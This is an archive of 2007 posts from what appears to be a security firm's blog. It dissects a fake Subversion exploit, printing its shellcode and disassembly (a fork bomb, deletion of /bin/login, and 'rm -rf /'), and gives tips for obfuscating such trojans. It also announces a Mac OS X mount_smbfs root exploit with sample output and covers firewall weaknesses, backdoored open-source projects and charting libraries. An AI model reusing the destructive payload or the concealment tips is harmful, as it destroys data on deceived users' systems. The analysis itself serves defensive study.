Fri, 21 Dec 2007

Fake exploits: probably necessary

Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious): 

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish): 

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let's take a look over the disassembly and strings. We notice a call to the signal() system call: 

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Later it issues a fork() call and, as a reply in full-disclosure thread, seems to be part of a typical fork() bomb procedure.

That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed. 

0000006F  31C0              xor eax,eax
00000071  50                push eax
00000072  686F67696E        push dword 0x6e69676f
00000077  68696E2F6C        push dword 0x6c2f6e69
0000007C  682F2F2F62        push dword 0x622f2f2f
00000081  89E3              mov ebx,esp
00000083  31C0              xor eax,eax
00000085  040A              add al,0xa
00000087  CD80              int 0x80

There you go. This annoyance is nothing but an unlink() call to remove the /bin/login file. The situation is aggravated by the fact that the fake exploit, using raw sockets as excuse, requires root privileges to run: 

 if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }

And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases. 

00000089  31C0              xor eax,eax
0000008B  50                push eax
0000008C  682A2F2F2F        push dword 0x2f2f2f2a
00000091  89E2              mov edx,esp
00000093  50                push eax
00000094  682D726666        push dword 0x6666722d
00000099  89E1              mov ecx,esp
0000009B  50                push eax
0000009C  686E2F726D        push dword 0x6d722f6e
000000A1  682F2F6269        push dword 0x69622f2f
000000A6  89E3              mov ebx,esp
000000A8  50                push eax
000000A9  52                push edx
000000AA  51                push ecx
000000AB  53                push ebx
000000AC  89E1              mov ecx,esp
000000AE  31D2              xor edx,edx
000000B0  040B              add al,0xb
000000B2  CD80              int 0x80

You can use the watson.org LXR installation for looking up system call numbers, and other constants. The disassembly is clear and easy to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies and other annoying people, and the technically skilled guys won't bother running them without inspection (there are exceptions, though :) ). They serve as great jokes, even if some can cause significant damage to the system (unless you run them inside a hardened chroot environment, with a solid patch like grsecurity that prevents several techniques to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:

  1. XOR is simple, your shellcode should make use of encoded strings. The very first thing most people do is run strings against your exploit in compiled form.
    1. Even better, encode the whole shellcode. Metasploit can help you there :)
  2. Quite some script kiddies know how to patch and compile a kernel. They can use Gentoo, and they could be aware of the existence of something wonderful known as PaX. A fake exploit that relies on overflowing a stack-based buffer of its own (in other words, attempting to exploit itself) might not work in some cases.
    1. Use a subtle pointer reassignment.
    2. Use a signal handler.
    3. Obfuscate the calls via macros...
    4. mprotect() is your friend. Make it subtle, though.
  3. People will be much more careful with an exploit that requires root privileges to run. And the raw sockets trick has been used way too much already. You really don't need to be root to do real damage.

There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.

>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB

Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".

Published on: Fri, 21 Dec 2007. | Path: /security/exploits | Permalink

Wed, 19 Dec 2007

Our last public (Apple Mac OS X) exploit of the year: mount_smbfs

We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the mount_smbfs argument stack-based buffer overflow. Using the shared_region_map_file_np() system call, we map a file containing shellcode at a fixed location, with write, read and execute permissions (VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE).

This technique was first documented publicly in a Phrack article by nemo, and has been partially restricted in Leopard. On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges. 

$ ./mount_smbfs_root
Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit
Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Mapping shellcode from file via shared_region_map_file_np()...
Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71
Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71
mount_smbfs: workgroup name 'AAAA...'
malcomx:/Users/nonpriv root# id
uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin)
malcomx:/Users/nonpriv root# exit
exit

It is available at our corporate public repository, as well as the Milw0rm website.

Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.

Published on: Wed, 19 Dec 2007. | Path: /security/exploits | Permalink

Exploits of 1990: mount_smbfs brings it on

Initial development of the mount_smbfs local root exploitWho doesn't remember those old root setuid binaries with argument parsing stack buffer overflows, the days when sudo had trivially exploitable vulnerabilities and system administrators panicked at the sight of any setuid binary after a some advisory showed up on BUGTRAQ. Apple had its share of bad luck with one of the latest Security Updates for Mac OS X. But it's 2007, approaching 2008 already, not 1997!

Apparently, a regression was introduced into Tiger via one of the updates (in previous audits we didn't find this binary to be affected by this vulnerability), and made the mount_smbfs root-setuid binary vulnerable to a trivially exploitable stack-based buffer overflow, which allows (root) privilege escalation for any user on the system.

The condition triggers when an overly long string is passed as parameter to the -W (workgroup name) option. Depending on how many registers you require, the padding size is approximately 1040+16 bytes for x86, to overwrite eip.

One of the requirements to abuse this issue properly is doing a setuid(0) call, in order to make the root privileges effective. There are different possibilities to successfully exploit this issue:

Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don't agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it's more solid than Leopard's, it's still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read its PaX project documentation).

Don't call it SDL. Make it the “Apple Secure Development iLifecycle”. But please, security updates also need to be tested against a regression test suite! iWorks 2008 is neat but we don't like vulnerable root-setuid binaries.

Published on: Wed, 19 Dec 2007. | Path: /security/exploits | Permalink

Mon, 17 Dec 2007

Other weaknesses of the Mac OS X firewall

After taking a look over the Mac OS X firewall (which has been criticized by several people already), we've detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):

Mac OS X firewall allowing connections through different script interpreters

  1. There's no protection against process-level threats: code injection and subverting processes already trusted by the firewall are completely possible.
    1. There has been research in other platforms about the implications of injecting code in the context of a trusted process to bypass the firewall (see Advanced Windows Firewall Subversion, also Phrack 62: Using Process Infection to Bypass Windows Software Firewalls).
      1. Mac OS X has several interfaces allowing process interaction at low-level.
      2. Ability to load code dynamically is present for all processes in the system.
      3. Apparently, runtime code manipulation wasn't contemplated by Apple as a potential security issue.
        1. No integrity checks done, signing a binary image is not enough if it can be tampered on memory later!
  2. It works on communication direction basis: inbound, outbound. No way to control what happens in a fine-grained manner.
    1. The Ruby, Python or Perl interpreters bind a socket to listen for connections, and you allow it through the firewall. What's wrong with that?
      1. Metasploit includes PHP payloads: remote access with the privileges of the user running the interpreter.
      2. Any script will be able to perform network operations within the limits of the firewall configuration: by default, allow incoming connections.
        1. In other words, an attacker will be able to trivially bypass the firewall using a script interpreter like Ruby.

We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned.

Published on: Mon, 17 Dec 2007. | Path: /security/apple | Permalink

Sun, 16 Dec 2007

Open source projects, compromised

Every now and then, the news talk about some Open Source software package that has been compromised (as in backdoored: tampered to include code or functionality that opens its users to abuse from third-parties). A few days ago it was SquirrelMail, in March it was the massively extended Wordpress blogging software.

In 2003, the Linux kernel itself experienced a compromise that resulted in a very subtle, discreet backdoor added to the source code of the sys_wait4() function, which allowed privilege escalation to gain root level access. Debian, GNU Project and Gentoo servers and distribution sites have been targets of successful attacks, and the CVS project server was attacked in 2004. Recently, Ubuntu community-hosted servers were compromised as well.

In 2002, IRSSI (the IRC client) and several network security tools hosted at Monkey.org were modified to contain backdoors that activated during compilation time.

All your base are belong to us.
Some languages are more prone to be subtly manipulated for implementing hostile functionality: C conditional statements and variable assignment, incorrect use of operators... in PHP we have the preg_replace function and other possibilities. Also some object oriented languages allow class methods and functions to be intercepted easily, like Objective-C.

In the Linux kernel case, it could have been well identified as a typo. The fact that there are sophisticated attackers out there, who inspect and dive into the target before making the definitive move, is certainly not a common threat. In the words of the BitMover founder, Larry McVoy (in an article for SecurityFocus):

Whoever did this knew what they were doing. They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together... There isn't any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance.

The security industry itself is normally driven by trends, and nowadays the trend is about defacements, unsophisticated attacks and propaganda tools. The real threats aren't botnets or Brazilian defacement script-kiddies.

One of the main disadvantages that affect open source projects, is the fact that their development resources are far more exposed than those of proprietary vendors. It's easy to audit the software powering their version controlled repository, their issue and bug tracking application, their mail server daemon (hopefully it's Qmail!), etc. While closed source applications are also exposed in other manners, an open source project depends entirely on an open development model which has its own (security) weaknesses.

There's no real way to enforce legal obligations and rights for each developer (the insider threat: a rogue developer adding a backdoor himself), without making agreements and other paperwork effective.

Published on: Sun, 16 Dec 2007. | Path: /security/opensource | Permalink

Fri, 07 Dec 2007

CMS Series: Web charting and graphing libraries

We said we would roll out articles about our (Rails) Content Management System project and this is one of the very first, exposing our difficulties and decisions about deploying an usable, yet fancy charting functionality.
We won't spoil the surprise about the name of the project, yet. :)

The Quest

Finding a free, open source and (if possible) BSD or LGPL licensed library implementing chart and graphing functionality. We want to avoid licensing hell as much as we want to avoid bloated interfaces that obscure the statistical data more than abstracting it properly.

Requirements

  1. Capable of displaying technically complex data sets.
  2. Good performance: it must escalate well! (as much as we designed our product to do so).
    1. Efficient cache and server-side solution or browser supported implementation (ie. SVG based).
  3. Non-bloated, elegant code: we want to modify it and understand what's going on.
  4. Usable, simplistic interface (API): we hate working with an over complicated API.
  5. Nice, fancy, yet-not overly design-ish graphs:
    1. Experience shows that complicated graphs do nothing to improve the visibility of statistical data: better divide by many, than squeeze many in a few.
    2. Simple graphs and clean shapes are far more smooth and pleasing to the eye (Isn't the whole rounded corner spice about this anyway?).
    3. The more complex the data-set, the more simple a graph should be. The density of data displayed will be high and adding unnecessary fuss will just get in way of interpreting it properly.
  6. Non-hosted solution: we can't afford the risk of exposing customer or sensitive information to external hosts and services. We could do exceptions for publicly obtained data, but definitely not the internal information.

The Candidates

We haven't considered other commercial and open-source alternatives, simply because we didn't believe they fit our requirements upfront. But we might be wrong. Two of them are FusionCharts (commercial and Flash-based) and Open Flash Chart (Flash too, but open source). The latter seems nice but we don't have that much time to dive into its details. For PHP we have JpGraph, which is damn flexible.

Google Chart API

The quality of the charts is certainly good, with a clean API, easy to use and impressively fast response (it's evident that Google has resources to support it). The only problem we have is the limitation of 50000 API calls per-user. This might be tied to IP or accounts, and most likely using multiple ones to bypass the limit will get your access terminated. A solution to this problem is caching and limiting the requests, redirecting them to locally mirrored files if the information is recent enough or we have reached the API calls limit. While this works perfectly, it's not optimal for a commercial application.

PlotKit

The quick start guide shows a handful examples. The API makes use of a Layout and a Renderer that generates and inserts the chart in to the page content (using MochiKit), with a simplistic approach for introducing data-sets. 
function drawGraph() {
    var layout = new PlotKit.Layout("bar", {});
    layout.addDataset("sqrt", [[0, 0], [1, 1], [2, 1.414], [3, 1.73], [4, 2]]);
    layout.evaluate();
    var canvas = MochiKit.DOM.getElement("graph");
    var plotter = new PlotKit.SweetCanvasRenderer(canvas, layout, {});
    plotter.render();
}
MochiKit.DOM.addLoadEvent(drawGraph);
The main disadvantage is that SVG and HTML CANVAS support have certain compatibility issues across different browsers and many still need to mature their support for such functionality. This leaves a huge surface of potential interoperability problems which might be a serious show-stopper when deploying PlotKit.

Dojo Charting

The feature-rich Dojo toolkit provides a neat charting library, supporting multiple charts per drawing area (or PlotArea). The data-set can be bound to a Store object (similar to the DataSource object of the YUI library), plus it supports all browsers except WebKit powered ones (those pesky Safari users! :) ). Some data analysis methods have been implemented too...

Dojo Charting: multiple charts in a PlotArea(s)

The usage is easy and documentation is very complete (something common with Dojo, probably due to its user base and support from several sponsors): 
dojo.require("dojox.charting.widget.Chart2D");
dojo.require("dojox.charting.themes.PlotKit.orange");
dojo.require("dojox.charting.themes.PlotKit.blue");
dojo.require("dojox.charting.themes.PlotKit.green");
dojo.require("dojox.data.HtmlTableStore");
seriesB = [2.6, 1.8, 2, 1, 1.4, 0.7, 2];
dojo.require("dojo.parser");	// scan page for widgets and instantiate them
Note how HtmlTableStore is used and the Parser component. Within the HTML source: 
<div dojoType="dojox.data.HtmlTableStore" tableId="tableExample" jsId="tableStore"></div>
<table id="tableExample" style="display: none;">
	<thead>
		<tr><th>value</th></tr>
	</thead>
	<tbody>
		<tr><td>6.3</td></tr>
		<tr><td>1.8</td></tr>
If there's something we appreciate from Dojo, it's the flexibility we enjoy from using it. You can certainly keep Dojo in mind for your charting (and several other UI) related needs. Regarding Internet Explorer support, as far as we know, several libraries make use of emulation for setting up HTML CANVAS support through VML.

Yahoo! UI (YUI) Charts Control

YUI Charts control example (Lines chart)

The amazing YUI library provides an experimental (as of version 2.4.0) Charts control with a nice API. The best thing about it: polling data from a DataSource object is supported. That means dynamic charts, easy interoperability and good performance. Rendering the charts is a piece of cake: 
var mychart = new YAHOO.widget.LineChart( "chart", myDataSource,
{
	xField: "month",
	series: seriesDef,
	yAxis: currencyAxis,
	dataTipFunction: "getDataTipText"
});
YUI continues to impress us everyday. Since it uses Flash for rendering the charts, any browser with the Flash Player plugin will be able to render them. Also, the Flash charts can contain interactive labels and other useful details. This is clearly a winner in our books (and Dojo is always noteworthy too, but we can't afford using two toolkits since load times will skyrocket).
Published on: Fri, 07 Dec 2007. | Path: /web/libraries | Permalink

Thu, 06 Dec 2007

Annoyances of YUI when using custom styles

We've been coming across different annoyances in our quest of deploying YUI into one of our main products (a few more articles talking about its development coming soon), the Ruby on Rails content management system behind our almost-ready customer portal and corporate site. The problem comes mainly from the coexistence of our custom CSS and JavaScript code, and the YUI specific style-sheets and library files.

The problems are really bugging us and we have considered moving to fully custom code, even if that means delaying the development of some other features that might be of higher priority. Hopefully we will solve the issues soon and keep YUI in place, since the functionality is really complete.

Settings TabView gone wild!
Rich Text Editor doesn’t readjust its size…
Published on: Thu, 06 Dec 2007. | Path: /web/libraries | Permalink

Wed, 05 Dec 2007

New Yahoo! UI (YUI) library release! (2.4.0)

Yahoo! released yesterday a new version of the feature-rich, BSD licensed YUI (the Yahoo! User Interface library) implementing several improvements, some new controls and other innovative functionality. The components that quickly turned heads over here, are namely:

Their change-log contains a complete overview of the fixes and the new features. We are integrating this new release for the (Ruby on Rails powered) content management system engine we have developed for our corporate site, and recommend YUI for any serious web developer seeking a library providing solid controls and functionality. Besides, it comes with no strings attached.

Published on: Wed, 05 Dec 2007. | Path: /web/libraries | Permalink

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